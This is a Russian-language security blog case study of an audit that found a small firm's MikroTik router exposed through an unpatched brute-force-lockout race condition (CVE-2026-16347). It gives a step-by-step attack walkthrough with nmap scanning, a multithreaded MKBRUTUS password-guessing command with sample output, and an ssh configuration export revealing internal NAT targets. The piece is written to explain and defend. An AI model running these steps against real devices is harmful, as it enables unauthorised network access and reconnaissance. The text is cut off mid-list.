CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Сетевая безопасность

MikroTik за 12 000 ₽: как баг в защите от брутфорса (CVE-2026-16347) мог остановить всю торговую компанию

Разбираем реальный кейс аудита: устройство за 12 тысяч рублей стояло на границе сети четыре года без единого обновления, а встроенная защита от подбора пароля на всех актуальных прошивках RouterOS не работала вовсе.

Разбор CIOlogia

Пришёл на плановый аудит к владельцу небольшой оптовой компании — без жалоб, без инцидентов, просто «проверьте, всё ли в порядке». Начал не с компьютеров сотрудников, а с границы сети — того самого устройства, через которое офис выходит в интернет и куда, наоборот, может зайти кто угодно снаружи. Именно там нашлась дыра, о которой владелец даже не подозревал.

Где была дыра

На границе сети стоял роутер на MikroTik RouterOS — популярное у малого бизнеса оборудование: недорогое, мощное, гибко настраиваемое. У RouterOS есть встроенный механизм защиты от подбора пароля к сервисам управления (Winbox, API, SSH, веб-интерфейс): при подключении к этим портам ведётся учёт неудачных попыток авторизации, и после превышения порога IP должен временно блокироваться правилами файрвола через address-list.

Проблема (зафиксирована как CVE-2026-16347) в том, что на всех актуальных на момент проверки версиях прошивки счётчик неудачных попыток не инкрементировался корректно при параллельных подключениях к сервису управления. Если атакующий открывает несколько одновременных TCP-сессий к порту API или Winbox, каждая сессия обрабатывается отдельным процессом-обработчиком, и internal-счётчик не успевает синхронизироваться между ними до момента разрыва соединения — классическое состояние race condition (TOCTOU: время проверки не совпадает с временем использования). В результате «сторож на воротах» физически не видел, что его уже штурмуют: пароль можно было подбирать без ограничений, без задержек и без блокировки IP.

Уязвимость касалась не одной компании — а всех, кто использует такое оборудование по всей стране без обновления. У клиента пароль администратора не менялся четыре года — с момента установки подрядчиком при переезде в офис.

Как это эксплуатируется

Первый шаг — обнаружить устройство и подтвердить, что это RouterOS уязвимой версии:

nmap -sV -p21,22,80,443,2000,8291,8728,8729 -T4 203.0.113.10

PORT     STATE SERVICE        VERSION
21/tcp   open  ftp            MikroTik router ftpd
22/tcp   open  ssh            MikroTik RouterOS sshd
80/tcp   open  http           MikroTik RouterOS http config
443/tcp  open  ssl/http       MikroTik RouterOS http config
2000/tcp open  bandwidth-test MikroTik
8291/tcp open  unknown        (Winbox)
8728/tcp open  unknown        (API)
Service Info: OS: RouterOS; Device: router

Открытые порты 8291 (Winbox) и 8728 (API) на публичном интерфейсе — верный признак того, что удалённое администрирование не закрыто от интернета. Дальше — подбор учётных данных через специализированные утилиты для API RouterOS (в духе известного инструмента MKBRUTUS), поддерживающие многопоточный перебор:

python2 mkbrutus.py -t 203.0.113.10 -p 8728 \
  -U users.txt -P rockyou.txt --threads 20

[*] MKBRUTUS - MikroTik Bruteforce tool
[*] Connecting to 203.0.113.10:8728
[*] Trying: admin / 123456 ... FAILED
[*] Trying: admin / admin123 ... FAILED
[*] Trying: admin / Sklad2020 ... FAILED
...
[*] Trying: admin / warehouse2021 ... SUCCESS!
[+] Credentials found -> admin:warehouse2021
[+] No lockout triggered after 4127 attempts (CVE-2026-16347)

Ключевая строка в выводе — «No lockout triggered after 4127 attempts». Именно она подтверждает, что защита от брутфорса на устройстве не срабатывает: на исправленной прошивке подобная попытка обрывается блокировкой IP уже после 5–10 неудачных входов.

Получив доступ, атакующий сразу выгружает конфигурацию — она содержит все правила NAT и port forwarding, то есть готовую карту внутренней сети:

ssh admin@203.0.113.10 "/export" > mikrotik-config.rsc

grep -i "dst-port\|nat\|to-addresses" mikrotik-config.rsc

/ip firewall nat
add chain=dstnat dst-port=3389 protocol=tcp to-addresses=192.168.10.5 to-ports=3389 comment="buh RDP"
add chain=dstnat dst-port=8000 protocol=tcp to-addresses=192.168.10.20 to-ports=8000 comment="cameras"
add chain=dstnat dst-port=1433 protocol=tcp to-addresses=192.168.10.15 to-ports=1433 comment="1C server"

За пару минут атакующий получает не абстрактный доступ к «какому-то роутеру», а конкретный список: где сервер с бухгалтерией/1С, где видеонаблюдение склада, где RDP удалённого бухгалтера — и всё это доступно через уже скомпрометированный роутер как единую точку входа.

Что и почему сработало бы

  • Один взломанный роутер даёт контроль над всей инфраструктурой сразу — не нужно отдельно ломать сервер, камеры и рабочие места бухгалтера